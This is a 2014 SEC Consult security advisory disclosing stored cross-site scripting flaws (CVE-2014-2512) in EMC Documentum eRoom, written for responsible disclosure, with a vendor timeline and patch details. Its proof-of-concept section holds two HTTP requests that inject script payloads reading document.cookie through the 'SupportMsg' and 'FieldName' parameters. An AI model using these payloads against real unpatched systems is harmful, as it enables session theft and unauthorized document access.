SEC Consult SA-20140701-0 :: Stored cross-site scripting vulnerabilities in EMC Documentum eRoom

SEC Consult Vulnerability Lab Security Advisory 20140701-0
============================================================
===========
              title: Stored cross-site scripting vulnerabilities
            product: EMC Documentum eRoom
 vulnerable version: 7.4.3, 7.4.4, 7.4.4 SP1
      fixed version: 7.4.3 ESA-2014-060 (hot fix)
                     7.4.4 P19
                     7.4.4 SP1 ESA-2014-060 (hot fix)
                CVE: CVE-2014-2512
             impact: high
           homepage: http://www.emc.com/products/detail/software2/eroom.htm
              found: 2013-11-25
                 by: M. Heinzl
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com/
=======================================================================


Vendor description:
- -------------------

"EMC Documentum eRoom is easy-to-use online team collaboration software that
enables distributed teams to work together more efficiently. With Documentum
eRoom, teams around the world can accelerate document collaboration and group
activities, improve the development and delivery of products and services,
optimize collaborative business processes, improve innovation, and streamline
decision-making."

http://www.emc.com/products/detail/software2/eroom.htm


Vulnerability overview/description:
- -----------------------------------

Documentum eRoom suffers from multiple permanent cross-site scripting
vulnerabilities, which allow an attacker to steal other user's sessions, to
impersonate other users and to gain unauthorized access to documents hosted in
eRooms. A JavaScript worm could be utilized to crawl an eRoom and gather all
available documents.

There are many parameters which are not properly sanitized and thus are
vulnerable to XSS.


Proof of concept:
- -----------------

1) When creating a new database, the parameter used for the database fields
("SupportMsg") is not properly validated and is thus prone to permanent
cross-site scripting.

Request:
POST
/eRoomASP/eRoomSubmit.asp?FormName=sDlgGeneral&Ctxt=S_1&IsERPage=TRUE&ERClickInMap=FALSE&command=btnOK&SessionKey=ZQCH5DHHZLLV6
HTTP/1.1
Host: localhost

IEDummyField=bugfix+29315&SubmitChecker=set&HasRichText=false&SessionKey=ZQCH5DHHZLLV6&ERWindowName=eRw1342094805&EditSiteName=SEC&IEUsersWorkOffline=on&AllowExtAppCommands=on&EnableWebDav=on&UseSecureCookies=on&ExpireSession=60&AlertAdminsObjectCount=on&PercentageObjectLimit=80&MembersChoosePluginOption=on&EnableFileBlocking=on&BlockedFileExtensions=accda%0D%0Aaccdb%0D%0Aaccde%0D%0Aasa%0D%0Aasp%0D%0Aaspx%0D%0Abat%0D%0Achm%0D%0Aclass%0D%0Acmd%0D%0Acom%0D%0Acpl%0D%0Acrt%0D%0Adll%0D%0Aexe%0D%0Ahlp%0D%0Ahta%0D%0Ahtm%0D%0Ahtml%0D%0Ahtw%0D%0Ahtx%0D%0Ains%0D%0Aisp%0D%0Ajs%0D%0Ajse%0D%0Alnk%0D%0Amda%0D%0Amdb%0D%0Amde%0D%0Amdt%0D%0Amdw%0D%0Amdz%0D%0Amht%0D%0Amhtml%0D%0Amsp%0D%0Aocx%0D%0Areg%0D%0Ascr%0D%0Asct%0D%0Ashb%0D%0Ashs%0D%0Aurl%0D%0Avbe%0D%0Avbs%0D%0Awsc%0D%0Awsh&OverrideURL=asd&SupportMsg=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&OtherInfoString=asd&PaginationThreshold=500&LMLThreshold=500&HMLThreshold=5000&RolodexTabs=A%3BB%3BC%3BD%3BE%3BF%3BG%3BH%3BI%3BJ%3BK%3BL%3B
M%3BN%3BO%3BP%3BQ%3BR%
3BS%3BT%3BU%3BV%3BW%3BX%3BY%3BZ


2) The parameter "FieldName" is not properly validated and is thus prone to
permanent cross-site scripting. A malicious payload will be executed when the
asp script "ErrLoadingPage.asp" is called.

Request:
POST
/eRoomASP/eRoomSubmit.asp?FormName=sDlgCreateDBField&Ctxt=.test.imgsrcxonerroralert33.0_b97&ERClickInMap=FALSE&command=btnNext&SessionKey=N377T7XGBMJOO
HTTP/1.1
Host: localhost

IEDummyField=bugfix+29315&SubmitChecker=set&HasRichText=false&SessionKey=N377T7XGBMJOO&ERWindowName=eRw1342086593&FieldName=xxx%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29+%2F%3E&FieldType=0


Vulnerable / tested versions:
- -----------------------------
The vulnerabilities have been verified to exist in version 7.4.4 P11.


Vendor contact timeline:
- ------------------------
2013-12-10: Contacting vendor through security_alert@emc.com
2013-12-10: Vendor will get back after investigation by December 19th.
2013-12-20: Vendor is still investigating vulnerabilities, will get back in
            January
2014-02-25: Vulnerabilities are confirmed, patch is issued for Q3 2014
2014-03-13: Notify vendor that the advisory will be published in accordance to
            the responsible disclosure policy on 2014-04-20
2014-03-20: Vendor will publish patch end of June 2014
2014-03-31: Agreed to disclose advisory responsibly end of June 2014
2014-06-13: Vendor fixed issues, asking for credit line
2014-06-16: Providing credit line, asking for exact publication date
2014-06-16: Vendor announces patched version for 2014-06-30
2014-07-01: Publication of security advisory


Solution:
- ---------

Upgrade or apply hot fixes:
* 7.4.3 ESA-2014-060 (hot fix)
* 7.4.4 P19
* 7.4.4 SP1 ESA-2014-060 (hot fix)

Patches can be downloaded here:
https://support.emc.com/downloads/5324_Documentum-eRoom

Workaround:
- -----------
None


Advisory URL:
- -------------

https://www.sec-consult.com/en/advisories.html


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EOF M. Heinzl / @2014